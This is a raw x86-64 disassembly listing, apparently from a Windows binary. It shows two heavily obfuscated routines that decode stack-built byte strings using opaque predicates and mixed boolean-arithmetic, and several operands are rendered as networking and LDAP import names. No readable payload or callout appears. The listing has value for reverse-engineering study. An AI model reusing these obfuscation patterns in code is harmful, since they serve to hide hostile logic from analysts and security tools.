jmp 0x14009d1ea
lea rcx, [rbp + 0xd48]
mov rdx, rdi
call fcn.140035c60
lea rdx, [0x140229e80]
lea rcx, [rbp + 0x2a8]
call fcn.140002680
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0xc8]
mov rcx, qword [0x140230160]
call fcn.14006c820
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002820
lea rcx, [rbx + 0x30]
call fcn.14006ba40
mov rdi, rax
mov byte [rbp + 0x9b0], 0x56
mov byte [rbp + 0x9b1], Ordinal_143
mov byte [rbp + 0x9b2], Ordinal_143
mov byte [rbp + 0x9b3], 0x7b
mov byte [rbp + 0x9b4], 0x47
mov byte [rbp + 0x9b5], __WSAFDIsSet
mov byte [rbp + 0x9b6], 0x9b
mov byte [rbp + 0x9b7], __WSAFDIsSet
mov byte [rbp + 0x9b8], 0x9c
mov byte [rbp + 0x9b9], 0xac
mov byte [rbp + 0x9ba], 0x90
mov byte [rbp + 0x9bb], 3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x9bc], xmm0
mov dword [rbp + 0x9cc], eax
mov word [rbp + 0x9d0], ax
mov byte [rbp + 0x9d2], al
movabs rsi, 0x4d8dcaefaa47ac1c
movabs r13, 0xa22b52ce75d2a6ac
movabs r14, 0xd85f619f9607f64
movabs r15, 0xc92f507d0dbb320c
movzx r10d, byte [rsp + 0x40]
nop dword [rax + rax]
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14009e2a7
movzx r11d, byte [rbp + rbx + 0x9b0]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x14009e29b
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x14009d343
lea rcx, [rbx + r13]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
add r10b, 0x4c
jmp 0x14009d390
je 0x14009e20d
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009e170
lea rax, [rcx + 1]
cmp r8, rax
je 0x14009e13d
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009e101
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009e09b
lea rax, [r9 + 4]
cmp r8, rax
je 0x14009e043
nop word [rax + rax]
cmp r9, rbx
ja 0x14009e28f
lea rax, [r9 + 0x400]
cmp r8, rax
jae 0x14009d3c9
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009d400
lea rax, [r9 + 1]
cmp r8, rax
je 0x14009e01e
inc rax
cmp r8, rax
je 0x14009dfef
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009dfba
lea rax, [r9 + 4]
cmp r8, rax
je 0x14009df91
nop dword [rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x14009da82
nop dword [rax]
lea rax, [r9 + 4]
cmp r8, rax
je 0x14009da5d
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14009da2b
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x14009da00
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14009d9da
lea rax, [r9 + 9]
cmp r8, rax
je 0x14009d9c6
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14009d991
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14009d968
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14009d940
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14009d906
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14009d410
lea r8, [r9 + 0x5a]
lea r9, [r8 + 0x7a]
lea rax, [r9 + 4]
cmp r8, rax
jb 0x14009e26a
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x14009e241
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x14009d601
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14009d5e2
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14009d5c2
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14009d8a9
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x14009d84e
lea rax, [r9 + 8]
cmp r8, rax
jb 0x14009d7f7
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x14009d7c8
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x14009d410
lea r8, [r9 + 0x5a]
lea r9, [r8 + 6]
lea rax, [r9 + 4]
cmp r8, rax
ja 0x14009d78e
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14009d76a
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14009d741
lea rax, [r9 + 3]
cmp r8, rax
ja 0x14009d70c
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14009d6d4
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x14009d6ab
lea rax, [r9 + 2]
cmp r8, rax
ja 0x14009d681
lea rax, [r9 + 8]
cmp r8, rax
ja 0x14009d64f
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x14009d62a
lea rax, [r9 + 1]
cmp r8, rax
ja 0x14009d410
lea r8, [r9 + 0x5a]
lea r9, [r8 + 6]
jmp 0x14009d410
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009d400
lea rdx, [rbx + r15]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x54
add r10b, dl
jmp 0x14009d390
movabs rdx, 0x84d8aae02215e4b4
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0xa
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009d305
movabs rdx, 0x6c6e577d523d60e0
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x20
jmp 0x14009e063
movabs rdx, 0x2817b1e066981388
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x14009d2f2
movabs rcx, 0xe3c10c437af2c630
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x50
dec rbx
inc rbx
jmp 0x14009d2f2
movabs rdx, 0x9f6a66a68f4d78d8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009e0be
movabs rcx, 0x5b13c109a3a82b80
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x80
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009d2f2
movabs rcx, 0x16bd1b6cb802de28
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x18
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009d2f2
movabs rdx, 0xd26675cfcc5d90d0
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009e193
movabs rcx, 0x8e0fd032e0b84378
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x48
jmp 0x14009e1c3
movabs rdx, 0x49b92a95f512f620
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x9b0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009d2f2
movabs rcx, 0x1ee08c8da7f5b4c4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5c
mov byte [rbp + rbx + 0x9b0], r10b
inc rbx
jmp 0x14009d2f2
movabs rdx, 0xda89e6f0bc50676c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 6
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
cmp r9, 0x80
jb 0x14009d7e7
movabs rdx, 0x9d42fe42f1ee6888
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea r10d, [rcx*2 - 0x70]
jmp 0x14009e066
movabs rdx, 0x96334153d0ab1a14
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
cmp r8, 0x80
jae 0x14009df33
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x14009ddc4
movabs rdx, 0xf1e08621bd796318
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
jmp 0x14009d80f
movabs rdx, 0x51dc9bb6e505ccbc
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x24
add r10b, dl
lea rax, [r8 + r9]
cmp rax, 0x80
je 0x14009df60
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x14009dc36
movabs rdx, 0xa452bb321331b6fc
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, recv
jmp 0x14009d866
movabs rdx, 0xd152c19dfdae08a8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x9b0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009d2f2
movabs rdx, 0x8cfc1c011208bb50
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x30
add r10b, dl
jmp 0x14009e1c3
movabs rdx, 0x48a5766426636df8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009e193
movabs rcx, 0x44ed0c73abe20a0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x60
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009d2f2
movabs rdx, 0xbff82b2a4f18d348
mov ecx, 4
jmp 0x14009e110
movabs rdx, 0x7ba1858d637385f0
mov ecx, gethostname
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x14009e0bb
movabs rcx, 0x374adff077ce3898
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x28
dec rbx
inc rbx
jmp 0x14009d2f2
movabs rdx, 0xf2f43a538c28eb40
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x14009d2f2
movabs rdx, 0xae9d94b6a0839de8
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x58
jmp 0x14009e063
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x14009daac
lea rdx, [rbx + r13]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x14009d8c9
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009daf3
movabs rdx, 0x9b1b95df548f5838
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x9b0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009d2f2
inc rax
cmp r8, rax
jne 0x14009db28
movabs rdx, 0xdf723b7c4034a590
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009e1c3
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14009db6d
movabs rcx, 0xac762c5303248d98
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x28
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009d2f2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009db89
movabs rdx, 0xf0ccd1efeec9daf0
jmp 0x14009d9e4
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14009dbc5
movabs rdx, 0x3523778cda6f2848
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x14009d2f2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009dc00
movabs rcx, 0x797a1d29c61475a0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x60
inc r9
dec rbx
inc rbx
jmp 0x14009d2f2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14009d8cc
movabs rdx, 0xbdd0c2c6b1b9c2f8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009e066
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009dc68
movabs rdx, 0xe8a960cefed70454
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x4c
jmp 0x14009e063
inc rax
cmp r8, rax
jne 0x14009dca6
movabs rdx, 0x2d00066bea7c51ac
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x14009d2f2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009dcc7
movabs rdx, 0xb5ad51a5c1c6ec5c
mov ecx, 0x3e
jmp 0x14009d9e9
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14009dce8
movabs rdx, 0xfa03f742ad6c39b4
mov ecx, 0xa
jmp 0x14009e110
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009dd16
movabs rcx, 0x3e5a9cdf9911870c
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
jmp 0x14009e157
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14009dd4c
movabs rdx, 0x82b1427c84b6d464
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009e193
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14009dd7d
movabs rcx, 0xc707e819705c21bc
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x24
jmp 0x14009e1c3
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14009d872
movabs rdx, 0xb5e8db65c016f14
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x9b0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009d2f2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009de06
movabs rcx, 0x36372bbea91eb070
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x10
movzx eax, byte [rbp + rbx + 0x9b0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009d2f2
inc rax
cmp r8, rax
jne 0x14009de3a
movabs rdx, 0x7a8dd15b94c3fdc8
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x78
add r10b, dl
jmp 0x14009e1c3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009de70
movabs rdx, 0xbee476f880694b20
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009e193
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14009de91
movabs rdx, 0x4791c23257b3e5d0
mov ecx, Ordinal_41
jmp 0x14009e110
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009dec3
movabs rdx, 0x8be867cf43593328
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x18
jmp 0x14009e0bb
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14009df02
movabs rdx, 0x1495b3091aa3cdd8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x14009d2f2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14009d81b
movabs rcx, 0x58ec58a606491b30
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x50
jmp 0x14009e066
movabs rdx, 0xe199a3dfdd93b5e0
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, byte [rbp + rbx + 0x9b0]
sub r10b, al
sub r10b, 0x20
add r10b, r11b
jmp 0x14009e0bb
movabs rdx, 0x25f0497cc9390338
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rbx + 0x9b0]
add r10b, r11b
add r10b, dl
jmp 0x14009e193
movabs rdx, 0x2bec523a1bccc984
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009e193
movabs rcx, 0xe795ac9d30277c2c
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x34
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009d2f2
movabs rdx, 0x1a91bbc66d379424
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 2
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x14009d2f2
movabs rdx, 0x91e4708c95ecf974
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x2c
jmp 0x14009e063
movabs rdx, 0x9372552bea25ec4
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x5c
add r10b, dl
movabs rcx, 0x3f6e511167c10f34
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x6c
add r11b, cl
mov byte [rbp + rbx + 0x9b0], r11b
inc r9
dec rbx
inc rbx
jmp 0x14009d2f2
movabs rdx, 0x3c33347bfbb276bc
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x24
add r10b, dl
movabs rdx, 0x83c4f6ae53665c8c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
add cl, cl
add cl, r10b
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0x9b0], cl
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009d2f2
movabs rdx, 0xf7dc8edf100d2964
mov ecx, Ordinal_35
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009d2f2
movabs rcx, 0xb385e9422467dc0c
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x54
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009d2f2
mov r11, rdx
movabs rcx, 0x6f2f43a538c28eb4
add rcx, rbx
and dl, cl
mov eax, 0xa
sub al, dl
lea r10d, [rax + rax]
add r10b, cl
add r10b, r11b
movabs rcx, 0xc81b9c4b3f0ba9e4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x3c
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x9b0], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0x6a46ef19b4de5090
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0x9b0], cl
inc r8
mov rax, r12
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x9b0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009d2f2
movabs rcx, 0xe681f86b6177f404
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x1c
movzx eax, byte [rbp + rbx + 0x9b0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009d2f2
movabs rdx, 0x408205433670975c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x3e
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009d2f0
movabs rcx, 0xfc2b5fa64acb4a04
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x1c
jmp 0x14009d2e0
lea rcx, [rbp + 0x1480540]
jmp 0x14009e2ae
lea rcx, [rbp + 0x11aabec]
jmp 0x14009e2ae
lea rcx, [rbp + 0x9b0]
mov rdx, rdi
call fcn.140035c60
lea rdx, [0x140229f00]
lea rcx, [rbp + 0x2c8]
call fcn.140002680
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0xb8]
mov rcx, qword [0x140230160]
call fcn.14006c820
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002820
lea rcx, [rbx + 0x30]
call fcn.14006ba40
mov rdi, rax
mov byte [rbp + 0x9d8], 0xac
mov byte [rbp + 0x9d9], Ordinal_143
mov byte [rbp + 0x9da], 0xf9
mov byte [rbp + 0x9db], 0xff
mov byte [rbp + 0x9dc], 0x42
mov byte [rbp + 0x9dd], 0x9f
mov byte [rbp + 0x9de], Ordinal_143
mov byte [rbp + 0x9df], 0xf2
mov byte [rbp + 0x9e0], 0xf9
mov byte [rbp + 0x9e1], 0xeb
mov byte [rbp + 0x9e2], 0xfb
mov byte [rbp + 0x9e3], 0xf9
mov byte [rbp + 0x9e4], 0x83
mov byte [rbp + 0x9e5], WSAGetLastError
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x9e6], xmm0
mov dword [rbp + 0x9f6], eax
mov byte [rbp + 0x9fa], al
movabs rsi, 0x904cbe308eda6b85
movabs r13, 0xee7d8f26e23b29b1
movabs r14, 0x7e2cba1cd61fa31b
movabs r15, 0xa1319bcf11a94fb9
movzx r10d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14009f0f3
movzx r11d, byte [rbp + rbx + 0x9d8]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x14009f0e7
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14009e413
lea rcx, [rbx + r13]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
add r10b, 0x29
jmp 0x14009e440
je 0x14009f05e
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009f027
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009effc
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009efcf
cmp r9, rbx
ja 0x14009f0db
lea rax, [r9 + 3]
cmp r8, rax
jae 0x14009e475
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x5d
add r10b, dl
jmp 0x14009e4c0
lea rax, [r9 + 1]
cmp r8, rax
je 0x14009ef7e
inc rax
cmp r8, rax
je 0x14009ef30
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009ef0b
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009eed6
lea rax, [r9 + 4]
cmp r8, rax
je 0x14009ee3d
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14009ea09
nop dword [rax]
lea rax, [r9 + 9]
cmp r8, rax
je 0x14009e9e1
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14009e9b4
lea rax, [r9 + 8]
cmp r8, rax
je 0x14009e985
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14009e961
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14009e93d
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14009e904
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14009e8e0
lea r8, [r9 + 0x40]
lea r9, [r8 + 0x400]
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x14009f0b6
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14009f092
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x14009e65b
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14009e63c
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x14009e61d
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14009e87a
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14009e7ec
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x14009e7bd
lea r8, [r9 + 0x61]
lea r9, [r8 + 2]
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14009e783
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x14009e75b
lea rax, [r9 + 8]
cmp r8, rax
ja 0x14009e737
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14009e6fe
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14009e6d9
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14009e6b1
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14009e682
lea r8, [r9 + 0x40]
lea r9, [r8 + 0x400]
jmp 0x14009e4d0
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x43
add r10b, dl
jmp 0x14009e4c0
lea rdx, [rbx + r15]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0xf
add r10b, dl
jmp 0x14009e440
movabs rdx, 0xc4367d814d32fc57
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub dl, 0x61
add r10b, dl
jmp 0x14009e3d5
movabs rdx, 0xc86fb4e8ede6b564
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x14009e3c2
movabs rdx, 0xeb74969b29706202
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0xe
add r10b, dl
jmp 0x14009ef4f
movabs rcx, 0xe79784d64fa0ea0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x60
jmp 0x14009f046
movabs rdx, 0x317e59ffa083bb3e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009e3c2
movabs rcx, 0x54833bb1dc0d67dc
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 4
jmp 0x14009ee5c
movabs rdx, 0x77881d641797147a
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x56
add r10b, dl
jmp 0x14009ee8c
movabs rdx, 0x9a8cff165320c118
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x9d8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009e3c2
movabs rcx, 0xf2193353e7f8f0a3
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x75
